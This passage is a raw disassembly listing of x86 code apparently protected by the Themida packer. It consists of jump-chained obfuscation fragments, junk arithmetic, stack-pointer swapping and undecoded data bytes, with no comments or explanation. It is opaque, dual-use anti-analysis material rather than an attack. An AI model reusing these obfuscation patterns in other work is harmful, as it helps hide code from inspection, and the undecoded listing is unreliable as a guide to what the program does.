360E365h sub edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] mov [esp], esi mov esi, 5DFA2FEFh or esi, 68725949h jmp loc_56BC8F ; --------------------------------------------------------------------------- loc_55FE74: ; CODE XREF: Themida_:005709ACj pop dword ptr [esp] mov esp, [esp] jmp loc_55DF3C ; --------------------------------------------------------------------------- db 87h dd 815C2404h, 4ECh, 1FB3E900h db 1, 0 ; --------------------------------------------------------------------------- loc_55FE8E: ; CODE XREF: Themida_:0056644Ej xor edi, [esp] pop esp jmp loc_572B45 ; --------------------------------------------------------------------------- db 56h dd 462205BEh, 5EF32167h, 0DBF7D3F7h, 1E18C381h, 0E3D11C06h dd 8D25BF57h, 0FB0159C0h, 5BDE315Fh, 7015C681h, 0F58941E5h dd 2EDC15Eh, 8105EDC1h, 0F95822CDh, 0ED814574h, 74FB7EA0h dd 761AEA81h, 0EA81073Ah, 292E408Ah, 11D76E9h, 24048900h dd 60CE9h, 222D5F00h, 0E9477728h, 0FFFFDF2Dh ; --------------------------------------------------------------------------- loc_55FEF8: ; CODE XREF: Themida_:0056D949j push 4482h mov [esp], eax mov eax, 746A6EB0h xor eax, 5A3E4A9Ch sub ebx, eax pop eax add ebx, 7B9950F1h add ebx, edx sub ebx, 7B9950F1h add ebx, 2E54242Ch pop edx push ebx push dword ptr [esp+4] pop ebx jmp loc_568B95 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C2h dd 307E6E10h, 0A6E9C201h, 81000113h, 7F36B5F3h, 0A673E96Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FF46: ; CODE XREF: Themida_:0056A396j add eax, ebx add eax, 1B430862h add [eax], ecx jmp loc_5650EE ; --------------------------------------------------------------------------- aPsM db 'PИ╣m',0 align 2 dw 0EB81h dd 202F5C0Fh, 72FAE9h, 89525B00h, 4B951E2h, 81000000h dd 6B3EF4EAh, 81CA0136h, 6B3EF4C2h, 17E95936h, 29FFFFFAh dd 0D7F758C7h, 2C6ECF81h, 85E933ADh, 10000C8h, 49EF81C7h dd 8B2CF25Ah, 0C4832404h, 4DC78104h, 81C1D7C7h, 9856ADC3h dd 64C38140h, 8121CB01h, 6B1EE8EBh, 0E9FB0106h, 0FFFFE306h dd 535FF989h, 9E7D8BBBh, 2BD6681Fh, 0C890000h, 2692B924h dd 0D9F70595h, 1015BE9h, 0B029BF00h, 0FB3100B0h, 5BDE015Fh dd 30685057h, 0E900002Ch, 0C302h ; --------------------------------------------------------------------------- loc_55FFF4: ; CODE XREF: Themida_:0055E520j add edi, 0D3DF5F12h jmp loc_57031E ; --------------------------------------------------------------------------- db 58h dd 5006A135h, 1054Ch, 0FF050000h, 0F7FFFFFFh, 4EC81D0h dd 0E9000000h, 12145h, 8904EC83h, 2C68240Ch, 89000020h dd 55BD242Ch, 50673F7Dh, 6315DB8h, 464E902h db 1, 0 ; --------------------------------------------------------------------------- loc_56003A: ; CODE XREF: Themida_:0056B8C7j pop ecx add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5601EE ; --------------------------------------------------------------------------- loc_56004D: ; CODE XREF: Themida_:00570FA1j mov ch, 8Ah inc ch shl ch, 1 add ch, 61h jmp loc_56BE98 ; --------------------------------------------------------------------------- db 81h dd 4EAh, 0AC3BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560066: ; CODE XREF: Themida_:00564380j xor ebp, 12712F5Bh sub esi, ebp pop ebp add esi, eax add esi, 12CF5AE4h pop eax add esi, 6D5E609Dh push esi sub dword ptr [esp], 50EC50ACh jmp loc_569426 ; --------------------------------------------------------------------------- db 0F7h aSgg db 'яИ┐┐',0 align 2 dw 0D531h dd 8124148Bh, 4C4h, 5DEA0100h, 2C281h, 59680000h, 8900006Ch dd 7EE92414h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5600B3: ; CODE XREF: Themida_:0055FDC8j or ebp, esi mov esi, [esp] add esp, 4 push eax mov eax, 2AAB4D39h inc eax jmp loc_562369 ; --------------------------------------------------------------------------- aLSz db '▀,$ИZу',0 dw 5300h dd 1237AE9h, 0E9482C00h, 0C481h, 6375ED81h, 0C5016192h dd 0FFEFFEE9h, 0E4B951FFh, 810B5912h, 0D867C1E9h, 7851E96Fh dd 0EFC10000h, 98CE904h, 0F8290000h, 241C8B5Fh, 4C481h dd 50680000h, 8900001Eh, 0C2BE2434h, 2D11C02Ch, 47722C24h dd 381A142Dh, 522D6807h, 3C890000h, 5BE5BF24h, 0B8E95C43h dd 0B2000127h, 756AE91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56013E: ; CODE XREF: Themida_:0056FD02j push eax push 39D752C3h pop eax mov edi, eax push dword ptr [esp] pop eax add esp, 4 push eax mov eax, 2D6D6AE9h xor eax, 729A304Fh xor eax, 18795422h sub eax, 2E6AEFEAh add edi, eax pop eax dec edi jmp loc_56F251 ; --------------------------------------------------------------------------- dd 4C481h, 0FA010000h, 8904EC83h, 49E9242Ch, 0FF00006Fh dd 0A1E92434h, 8B0000B5h, 5EE92424h, 50FFFFD1h, 86131B8h dd 58C5296Eh, 703F581h, 0B95134DDh, 7C035B08h, 0E75F181h dd 0C18178F7h, 1250587Dh, 0C981E9D1h, 66176BDFh, 0C248E9h dd 4C48100h, 2D000000h, 0D577E81Fh, 2679C181h, 0C1294DD2h dd 2679E981h, 48B4DD2h, 4C48324h, 0E9242C8Bh, 11966h, 6A4A68h dd 1451E900h db 1, 0 ; --------------------------------------------------------------------------- loc_5601EE: ; CODE XREF: Themida_:00560048j or ecx, ecx jz loc_56C637 push ebp push esp pop ebp push edx mov edx, 3A2A3283h shl edx, 7 sub edx, 8453C37h jmp loc_561077 ; --------------------------------------------------------------------------- loc_56020D: ; CODE XREF: Themida_:005712BBj push ebp jmp loc_5698DD ; --------------------------------------------------------------------------- db 0B8h dd 116C4BE6h, 777C4725h, 0E9D8F73Fh, 54B3h, 0E389535Ch dd 1AC6856h, 14890000h, 3B66BA24h, 0E2817775h, 3EF94D47h dd 5175E9h, 0E9DDF700h, 0FFFFE612h, 3568E381h, 0EB831D6Fh dd 156AE901h db 1, 0 ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:0056620Fj add ebx, 4 jmp loc_56789D ; --------------------------------------------------------------------------- db 0BEh, 2, 0 dd 0BBE90000h, 0FF0000B7h, 148B2434h, 0E9545624h, 0DDA4h dd 0E924248Bh, 24B7h, 0FFD068E9h, 4BB53FFh, 1000000h, 0E9565BD8h dd 0FFFFE42Eh ; --------------------------------------------------------------------------- loc_560294: ; CODE XREF: Themida_:005702C5j pop esi xor esi, 90029ACh mov ecx, esi pop esi jmp loc_55DEB6 ; --------------------------------------------------------------------------- db 89h dd 0CBE2434h, 812DD04Dh, 3D042444h, 29744560h, 81042474h dd 3D04246Ch, 0E9744560h, 0E59Fh ; --------------------------------------------------------------------------- loc_5602C4: ; CODE XREF: Themida_:00571A3Aj pop esp jmp loc_5667FA ; --------------------------------------------------------------------------- dw 168h dd 5E6C094Fh, 15EF329h, 0AEBAE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5602DA: ; CODE XREF: Themida_:00561149j mov ebp, esp jmp loc_5703C1 ; --------------------------------------------------------------------------- loc_5602E1: ; CODE XREF: Themida_:0056CA24j push dword ptr [esp] pop eax add esp, 4 xor eax, 30621BB8h jmp loc_56907E ; --------------------------------------------------------------------------- dw 0F029h dd 0E0B9515Eh, 29132950h, 9D2D59C8h, 293C220Fh, 0CF89E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56030A: ; CODE XREF: Themida_:0056DAB6j push 6E88h mov [esp], ebx jmp loc_566E52 ; --------------------------------------------------------------------------- db 8Ah dd 12E9242Ch, 10000B9h, 225FE9DAh, 0DAF70000h, 49DC281h dd 814A4F87h, 6E4905EAh, 5AD68957h, 0AFE9F301h, 89000003h dd 4C581E5h, 0E9000000h, 496Eh, 8B240C87h, 3C892424h, 4BF24h dd 0E9500000h, 0A782h, 4C281h, 0EA830000h, 24148704h, 2414895Ch dd 5617E9h db 0 ; --------------------------------------------------------------------------- loc_560375: ; CODE XREF: Themida_:0055E828j pop eax jmp loc_563781 ; --------------------------------------------------------------------------- db 0FFh a4Ss db '4$Иsз',0 db 0 ; --------------------------------------------------------------------------- loc_560383: ; CODE XREF: Themida_:00560934j pop esp push ebx jmp loc_562A19 ; --------------------------------------------------------------------------- loc_56038A: ; CODE XREF: Themida_:0056861Bj push edi mov edi, esp push ecx mov ecx, 4 jmp loc_56C82D ; --------------------------------------------------------------------------- dd 8324348Bh, 0D56804C4h, 89000049h, 5CE92414h, 8300003Ch dd 88E902C4h, 530000B9h, 9CE95DB3h, 310000C0h, 0F6E95EF5h dd 0B90000E4h, 60C772E0h, 12C9E9h, 24248B00h, 0FFD58DE9h dd 0C0E95BFFh, 890000EAh, 4EC81E2h, 89000000h, 5FBE2434h dd 8133A84Ch, 443A04CEh, 0F5E94E32h, 81FFFFD6h, 5079F1F7h dd 7F72E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560402: ; CODE XREF: Themida_:0055F378j add eax, ecx add eax, 74131809h jmp loc_566243 ; --------------------------------------------------------------------------- dw 0D629h dd 51EE015Ah, 0B8388EB9h, 59CE0114h, 0E9242C8Bh, 0A3Fh ; --------------------------------------------------------------------------- loc_560424: ; CODE XREF: Themida_:0056B387j dec edi sub edi, 0BF7F19D0h xor edx, edi pop edi or edx, 59AA282Dh push eax mov eax, 79BB2939h xor edx, eax pop eax add ecx, 383516D2h add ecx, edx sub ecx, 383516D2h pop edx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_56159E ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 68E9F766h, 29A9h, 0E9241489h, 0FFFFFF67h ; --------------------------------------------------------------------------- loc_560474: ; CODE XREF: Themida_:0056D353j push eax jmp loc_56AC32 ; --------------------------------------------------------------------------- dw 0F501h dd offset dword_50DC48+3A1h db 0 ; --------------------------------------------------------------------------- loc_560481: ; CODE XREF: Themida_:00566666j mov [esp], ebx mov ebx, esp push ebp push 59181C97h jmp loc_56C6B0 ; --------------------------------------------------------------------------- db 59h, 68h, 57h dd 89000014h, 18B5240Ch, 4944E9h db 0 ; --------------------------------------------------------------------------- loc_5604A1: ; CODE XREF: Themida_:0055DEB1j pop ebp xor ecx, 5732531Ch add ecx, 0A15AB2A5h add eax, 1E3B58A9h add eax, ecx sub eax, 1E3B58A9h jmp loc_55E6F6 ; --------------------------------------------------------------------------- loc_5604BF: ; CODE XREF: Themida_:0056F708j add esp, 4 or eax, eax jz loc_56B7BB push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_572394 ; --------------------------------------------------------------------------- loc_5604E1: ; CODE XREF: Themida_:0056C723j mov eax, [esp] jmp loc_56BFE1 ; --------------------------------------------------------------------------- loc_5604E9: ; CODE XREF: Themida_:0056E57Bj push eax mov eax, 1AA052A6h or eax, 42244205h jmp loc_571095 ; --------------------------------------------------------------------------- db 0B8h, 0FDh, 5Eh dd 0C5316125h, 582434FFh, 44E168h, 0D1FFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56050E: ; CODE XREF: Themida_:0055F9BBj push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5676D1 ; --------------------------------------------------------------------------- dw 0C101h dd 4F05E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56052A: ; CODE XREF: Themida_:00570F23j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55D6CC ; --------------------------------------------------------------------------- dd 0AECBF181h, 0CA019416h, 4EA8159h, 33000000h, 0A7E92414h dd 550000EEh, 65026DBDh, 85E94D3Eh, 5900009Dh, 8904EC83h dd 74FF2414h, 0E95A0424h, 1B5Eh, 8B2434FFh, 0C483240Ch dd 470E6804h, 2C890000h, 4EC8324h, 83242489h, 0E9042404h dd 0FFFFF51Eh ; --------------------------------------------------------------------------- loc_5605A0: ; CODE XREF: Themida_:00569B41j shr eax, 0Bh xor ecx, eax push 4B20h mov [esp], ebx jmp loc_56275F ; --------------------------------------------------------------------------- dw 8B66h dd 78E92404h, 0FF00006Dh, 8B042474h, 8950243Ch, 405E0h dd 0C0830000h, 24048704h, 24048F5Ch, 0E924248Bh, 0DC79h ; --------------------------------------------------------------------------- loc_5605DC: ; CODE XREF: Themida_:0056A347j mov [esp], edi mov edi, 295656AEh sub edi, 4970AC2Fh add esi, edi pop edi sub ebp, 39AB5621h add ebp, esi add ebp, 39AB5621h mov esi, [esp] jmp loc_560C79 ; --------------------------------------------------------------------------- db 41h dd 8106E9C1h, 12AD12E9h, 3E0AE901h, 0F5010000h, 5543ED81h dd 348B5EF7h, 4C48324h, 0E902C583h, 1BDCh, 83241C8Bh, 0B8E904C4h dd 870000ECh, 2CE9241Ch, 660000C0h, 66241489h, 6EE99C50h dd 50000019h, 0D782E9h db 0 ; --------------------------------------------------------------------------- loc_56064D: ; CODE XREF: Themida_:005660F9j xchg ebx, ebp jmp loc_566B78 ; --------------------------------------------------------------------------- dd 0E9D70159h, 71D2h, 815AD001h, 4ECh, 243C8900h, 3314E9BFh dd 0A8F78174h, 0E971D975h, 0F5ACh, 0E94AEA81h, 0D389C47Ch dd 5CE3815Ah, 81050A51h, 0A576F2EBh, 6E9435Fh, 810000F9h dd 0C85950EBh, 24148B71h, 4C481h, 42E90000h, 51FFFFFAh dd 0E95130B9h, 0DA01E96Bh, 8F5F0000h, 0E95C2404h, 0FFFFDCE0h dd 0E7C1E7D1h, 2EFC104h, 7D87E9h, 0EC815C00h, 4, 0E9243C89h dd 2041h ; --------------------------------------------------------------------------- loc_5606D8: ; CODE XREF: Themida_:00565248j push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp xor eax, edx xor edx, eax jmp loc_56435D ; --------------------------------------------------------------------------- dw 835Eh dd 2C8904ECh, 0AFF9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5606FA: ; CODE XREF: Themida_:00561E69j add ebx, 0E208027Fh sub eax, ebx jmp loc_5660B6 ; --------------------------------------------------------------------------- loc_560707: ; CODE XREF: Themida_:005721B3j xor edx, eax xor eax, edx push edx xor [esp], ecx xor ecx, [esp] xor [esp], ecx xor ecx, ebp xor ebp, ecx xor ecx, ebp not ebp xor ecx, ebp jmp loc_55DAE2 ; --------------------------------------------------------------------------- a_sip db '_ИК▐',0 align 2 dw 3C89h dd 38E5BF24h, 0E7BA0D48h, 310D4838h, 2434FFFAh, 74DAE9h dd 0EE95A00h, 680000E3h, 0CCAh, 0BD242C89h, 4, 835DEA01h dd 0CE904C2h, 8100005Fh, 0B81AA1C2h, 81FA0102h, 0B81AA1EAh dd 55535F02h, 0A039B768h, 0C14D5D06h, 0ED8105E5h, 0D40736BCh dd 815DEB89h, 1E3542C2h, 0F5C28129h, 0E91C3A79h, 0CB9Dh dd 8B240C87h, 14892424h, 46685124h, 8B126108h, 5453240Ch dd 0FFEAC5E9h, 5FFA01FFh, 0EA81C201h, 891305Fh, 0E92434FFh dd 8655h, 45FFC181h, 0CD01D108h, 4F2CE959h, 83590000h dd 3C8904ECh, 0D3BBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5607DA: ; CODE XREF: Themida_:00569B2Aj mov ecx, 0 sub ecx, 7916449Bh sub ecx, edx add ecx, 7916449Bh xchg ecx, edx mov ecx, [esp] add esp, 4 jmp loc_565517 ; --------------------------------------------------------------------------- loc_5607FA: ; CODE XREF: Themida_:00570ED0j add edi, 32B47E06h pop edx xchg edi, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 2489h dd 55565024h, 1C295A68h, 0F1E95D6Ah, 89000035h, 0ED8158C5h dd 7D1C66CCh, 409AC581h, 42E9419Fh, 0FF00003Fh, 81592434h dd 4C4h, 0AFBDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560842: ; CODE XREF: Themida_:0056D8E8j add esi, 4 xchg esi, [esp] pop esp push esi pop edi pop esi xor [esp+4], edi mov edi, [esp] push edi jmp loc_56CA0F ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C2414h, 0FFFFCA85h, 0E932FF64h, 0FFFFCA7Dh dd 4BD555Ah, 1000000h, 0BE565DEAh, 479D48A0h, 0B764C681h dd 0F201B862h, 1CFC685Eh, 14890000h, 2474FF24h, 24148B04h dd 81E78957h, 4C7h, 3964E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5608A6: ; CODE XREF: Themida_:00570FC2j mov ebp, 52596E99h add dword ptr [esp+4], 5E9275A9h push edx push edi mov edi, 75B861DBh shr edi, 2 shr edi, 3 shr edi, 1 neg edi add edi, 59B74B12h mov edx, edi pop edi jmp loc_5717E0 ; --------------------------------------------------------------------------- dw 0BF57h dd 2E352AE9h, 81D7F74Fh, 0A1289EC7h, 0D1EF814Ch, 8905A0B4h dd 0D1215FFAh, 9FC1815Ah, 5393304h, 681F0295h, 0FAFBE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5608FE: ; CODE XREF: Themida_:0056B9DDj mov [esp], ecx mov eax, [esp] jmp loc_5667BB ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 2424895Ch, 4BF57h, 7C010000h, 0FF5F0424h db 34h, 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_560383 ; --------------------------------------------------------------------------- db 0BBh, 0A4h, 75h dd 0E3817998h, 2A753E56h, 3E9EC381h, 0D8291F16h, 5D0015Bh dd 472672A2h, 106DE9h, 24248B00h, 0B4E9C330h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560963: ; CODE XREF: Themida_:0056623Ej add edx, edi jmp loc_56757F ; --------------------------------------------------------------------------- dw 0F801h dd 24348B5Fh, 7A19E9h, 89515900h, 0C1EBE9E1h, 0D8000000h dd 0E9D0F65Bh, 0BDFh, 0B3241C89h, 0EAC380D6h, 10326E9h db 0 ; --------------------------------------------------------------------------- loc_560995: ; CODE XREF: Themida_:0055DC4Dj pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub [edi+24h], esi jmp loc_56E787 ; --------------------------------------------------------------------------- loc_5609A8: ; CODE XREF: Themida_:00566964j push ecx mov ecx, 48CC16DBh mov ebx, 737936BAh sub ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_56225C ; --------------------------------------------------------------------------- db 0FFh dd 835B2434h, 3C8904ECh, 0C4EDE924h, 32BD0000h, 812C0E37h dd 0A0042444h, 2971A500h, 8104246Ch, 0A004246Ch, 5D71A500h dd 8324348Bh, 79E904C4h, 10000E4h, 0E9E95FF8h, 0B4000079h dd 9CC180F1h, 0A0E9E100h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A0B: ; CODE XREF: Themida_:005612E9j mov edx, esi pop esi xor edx, 0CC1B54CCh sub eax, edx pop edx and esi, eax jmp loc_568A5F ; --------------------------------------------------------------------------- dw 7968h dd 0E92AB15Fh, 1AD3h, 50C18141h, 81723454h, 2EEEA6E9h dd 8DED81D2h, 122D622h, 8DC581CDh, 0E922D622h, 0FD50h ; --------------------------------------------------------------------------- loc_560A48: ; CODE XREF: Themida_:00563015j pop edi inc edi add edi, 0FFFFFFFFh push ebp push eax push ebx mov ebx, 16E36A4Dh xor ebx, 7EFA6ACAh mov eax, ebx pop ebx mov ebp, 98AE443Ah jmp loc_563B6C ; --------------------------------------------------------------------------- loc_560A6B: ; CODE XREF: Themida_:0055F5E1j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_570873 ; --------------------------------------------------------------------------- aUsV db 'UИз┌',0 db 0 ; --------------------------------------------------------------------------- loc_560A7F: ; CODE XREF: Themida_:00565EDCj pop esp xor ebx, eax push edx mov edx, 2Ch push eax jmp loc_55ECBA ; --------------------------------------------------------------------------- dw 0D7F7h dd 4404F781h, 0FE29BD60h, 0E4D4E95Fh, 0C6810000h, 2EA46C95h dd 8E4CE9h, 0C7835E00h, 74FF5702h, 0FBE90424h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560AB7: ; CODE XREF: Themida_:0056E1CDj xor edi, 5F10DEDh add edi, 60F75601h mov edx, edi pop edi sub [esp+4], edx pop edx jmp loc_56B63B ; --------------------------------------------------------------------------- loc_560AD0: ; CODE XREF: Themida_:00569BE9j xor ebp, esi jmp loc_560BA1 ; --------------------------------------------------------------------------- db 55h dd 0A75610BDh, 3F3E95Ah, 0EB830001h, 241C8704h, 0D041E95Ch dd 815F0000h, 0D25754EBh, 81CB017Ch, 0D25754C3h, 7DE97Ch db 1, 0 ; --------------------------------------------------------------------------- loc_560B02: ; CODE XREF: Themida_:0055E855j add ebx, ecx pop ecx and ecx, ebx pop ebx sub ecx, 14FC0024h and eax, ecx mov ecx, [esp] jmp loc_55E73E ; --------------------------------------------------------------------------- dd 0C1E9FA01h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560B1F: ; CODE XREF: Themida_:0056F460j sub edi, 4 jmp loc_565280 ; --------------------------------------------------------------------------- dw 0EF81h dd 11D24397h, 0E2E9FB31h, 0F7FFFFD1h, 0D1B850DAh, 314E6931h dd 0F28158C2h, 0D0C83F2Fh, 12B4BE56h, 0F0296F35h, 0E9D0015Eh dd 73A0h ; --------------------------------------------------------------------------- loc_560B58: ; CODE XREF: Themida_:0055E397j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, esp sub esp, 4 jmp loc_561702 ; --------------------------------------------------------------------------- db 29h dd 481240Ch, 38043724h, 0CE875951h, 0AB09EE81h, 0F3019968h dd 60A2E9h, 51595900h, 0C980A1B1h, 0C3E98060h, 0D12CE9h db 0 ; --------------------------------------------------------------------------- loc_560BA1: ; CODE XREF: Themida_:00560AD2j mov esi, [esp] add esp, 4 mov edi, ebp jmp loc_56398F ; --------------------------------------------------------------------------- loc_560BB1: ; CODE XREF: Themida_:00561EF7j add eax, 3F005074h not eax xor eax, 6FB97D6Ch shl eax, 4 xor eax, 202B4C19h mov ebp, eax jmp loc_56D7C8 ; --------------------------------------------------------------------------- dd 0F13084B6h, 2E9FE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_560BD6: ; CODE XREF: Themida_:00571EC5j add esp, 4 add ebp, 229B66A2h add ebp, edi sub ebp, 229B66A2h jmp loc_5701D0 ; --------------------------------------------------------------------------- aISwrh db '\┴<$SWRh',0 db 59h, 2Fh, 26h dd 0CEEA815Ah, 81583D3Ch, 0AFAEAFEAh, 5AD78978h, 0D7F7D7F7h dd 8106EFC1h, 0D60123C7h, 939E964h, 0C9810000h, 33F659E9h dd 45BA5241h, 94D6D26h, 0BE565AD1h, 0A9711779h, 0E9E9F101h dd 1000090h, 0D42DE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C3E: ; CODE XREF: Themida_:0056BFA0j add [esp+0Ch], ebx pop ebx jmp loc_5657F2 ; --------------------------------------------------------------------------- dd 58C7005Ah, 52665966h, 0E2E95EB2h, 53000047h, 0D5288BBBh dd 71E94326h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560C63: ; CODE XREF: Themida_:0055EF8Ej pop esp mov [esp], edx jmp loc_5612FF ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Fh, 8374E9h db 0 ; --------------------------------------------------------------------------- loc_560C79: ; CODE XREF: Themida_:005605FEj add esp, 4 xchg ebp, [esp] pop esp push edx jmp loc_5712F3 ; --------------------------------------------------------------------------- dw 0E929h dd 4EC815Dh, 89000000h, 0B82404h, 5000000h, 32080D86h dd 862DC801h, 5132080Dh, 888D188h, 0C8B5859h, 4C48124h dd 0E9000000h, 4167h, 5A45E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_560CBE: ; CODE XREF: Themida_:0056B6BAj push edi jmp loc_570468 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0A782h, 0E9241C89h, 5CF5h, 0C181E189h, 4 dd 4E981h, 0B2E90000h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560CE7: ; CODE XREF: Themida_:0056CAB0j mov ecx, 4 jmp loc_55F436 ; --------------------------------------------------------------------------- loc_560CF1: ; CODE XREF: Themida_:005624B2j add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 60CD3D7Ah add ebp, 0DB2C39DBh and ebx, ebp pop ebp jmp loc_563598 ; --------------------------------------------------------------------------- loc_560D0F: ; CODE XREF: Themida_:00563259j mov [esp], ebx mov ebx, 69A17D1Fh jmp loc_56B9FF ; --------------------------------------------------------------------------- dd 0FF240C89h, 59042474h, 8B24048Fh, 8B662424h, 0E9562404h dd 8336h, 5C24048Fh, 0FF2434FFh, 34FF2434h, 0A352E924h dd 0DF890000h, 0F26BE9h, 0D4EE8100h, 0E94C343Ch, 11A10h dd 42474FFh, 24048F58h, 2424895Ch, 23BD5553h, 0E950614Bh dd 0A39Ch, 354C7DB9h, 59CA012Eh, 0A25EE9h, 7EC58100h, 2940BB53h dd 7EED81CDh, 5940BB53h, 5164C681h, 0EE013398h, 5164EE81h dd 0E95D3398h, 0FFFFF6DAh, 4EC81h, 2C890000h, 68E58924h dd 22A8h, 0BF243C89h, 4, 0E95FFD01h, 0A981h, 503768h, 243C8900h dd 0A2A1E9h, 0C895C00h, 0E9515324h, 129Dh ; --------------------------------------------------------------------------- loc_560DD8: ; CODE XREF: Themida_:0055DBFEj push ebx mov ebx, 6BAB1204h add edx, ebx jmp loc_570BA2 ; --------------------------------------------------------------------------- db 0BDh, 0F5h, 5Fh dd 0DDF72260h, 0C581D5F7h, 5195296Bh, 0EA63C581h, 0EA29EA24h dd 0FACA815Dh, 0E9036F0Fh, 4249h, 3BE1EF81h, 0FB29E902h dd 7BEB815Fh, 8B57C32Dh, 0C4812404h, 4, 81E38953h, 4C3h dd 4EB8100h, 53000000h, 42474FFh, 83241C8Bh, 48F04C4h dd 0E4CBE924h, 0E6C1FFFFh, 44F68106h, 18B8000h, 24348BF2h dd 0E904C483h, 0A955h, 8324348Bh, 0BE904C4h, 5500005Fh dd 0FFDAA0E9h, 0E0C15EFFh, 2C370D05h, 0E0D17C78h, 1F52C20Dh dd 93BF5750h, 0E937FB18h, 0EFC7h, 5E2434FFh, 2C8B5455h dd 4C48124h, 81000000h, 4C5h, 4C58100h, 87000000h, 8F5C242Ch dd 0CEE92404h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560EAB: ; CODE XREF: Themida_:005692FAj pop eax xchg edx, [esp] mov esp, [esp] jmp loc_56613F ; --------------------------------------------------------------------------- db 83h dd 0E4E904C4h, 81000034h, 4C4h, 246C8100h, 0E7261C04h dd 24448144h, 5D565D04h, 68C3E919h, 815E0000h, 2A08F2F6h dd 5EF1897Dh, 8151D129h, 7CAB2434h, 815A531Eh, 1E7CABF2h dd 0E999E953h, 472DFFFFh, 59169A71h, 5B0CBA52h, 2EE9796Ah dd 81FFFFE8h, 609B93F5h, 5DE921A1h, 19E98141h, 51CBE42Bh dd 240C8B5Ah, 4C481h, 0EC830000h, 24148904h, 5A2414F7h dd 7356F281h, 0C2814C5Fh, 7F6FA3ACh, 0CBE6E9h db 0 ; --------------------------------------------------------------------------- loc_560F41: ; CODE XREF: Themida_:0056A4DAj add ecx, eax jmp loc_56758B ; --------------------------------------------------------------------------- dd 731EBA52h, 0E2C12E4Eh, 0C8C28103h, 0E969BF7Dh, 69D4h dd 240C3358h, 33240C31h, 76E9240Ch, 83000021h, 1C8904ECh dd 75E95424h, 89000034h, 98682424h, 8900004Ah, 4BD242Ch dd 1000000h, 8B04246Ch, 0B2E9242Ch, 1000073h, 93EE81FEh dd 5F04FF57h, 8704C683h, 61E92434h db 1Bh, 1, 0 ; --------------------------------------------------------------------------- loc_560FA7: ; CODE XREF: Themida_:00565284j mov [esp], ebp push edi jmp loc_55DF79 ; --------------------------------------------------------------------------- dd 3920F381h, 0DEE904AAh db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_560FBB: ; CODE XREF: Themida_:00564F9Ej sub ebp, 61F869C4h add ebp, edi push edx push ebx mov ebx, 45153750h dec ebx jmp loc_55DA27 ; --------------------------------------------------------------------------- dd 4BAh, 50C38100h, 171C859h, 0F6B1E9D3h, 665CFFFFh, 991FC181h dd 59CE8966h, 95BF6657h, 1CEAE902h, 0C4810000h, 4, 0B2DFE9h db 0 ; --------------------------------------------------------------------------- loc_561001: ; CODE XREF: Themida_:0056C4A0j sub esp, 4 mov [esp], esp jmp loc_56D77C ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 0EA685C24h, 89000029h, 0E0892404h dd 405h, 31E95200h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56102B: ; CODE XREF: Themida_:0056C603j add esp, 4 jmp loc_55DF67 ; --------------------------------------------------------------------------- loc_561036: ; CODE XREF: Themida_:00572A40j add dword ptr [esp+4], 5CBF3F6Eh jmp loc_565A6F ; --------------------------------------------------------------------------- loc_561043: ; CODE XREF: Themida_:00567BA3j or eax, eax jnz loc_563244 sub esp, 4 jmp loc_568DFA ; --------------------------------------------------------------------------- dw 5F5Eh dd 0E953DA01h, 8440h, 0B2621C35h, 7E8C155h, 1C08340h, 3E6F3540h dd 54E900F1h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_561077: ; CODE XREF: Themida_:00560208j push ebx push edi mov edi, 4F050FF0h dec edi sub edi, 42310AAAh jmp loc_56635F ; 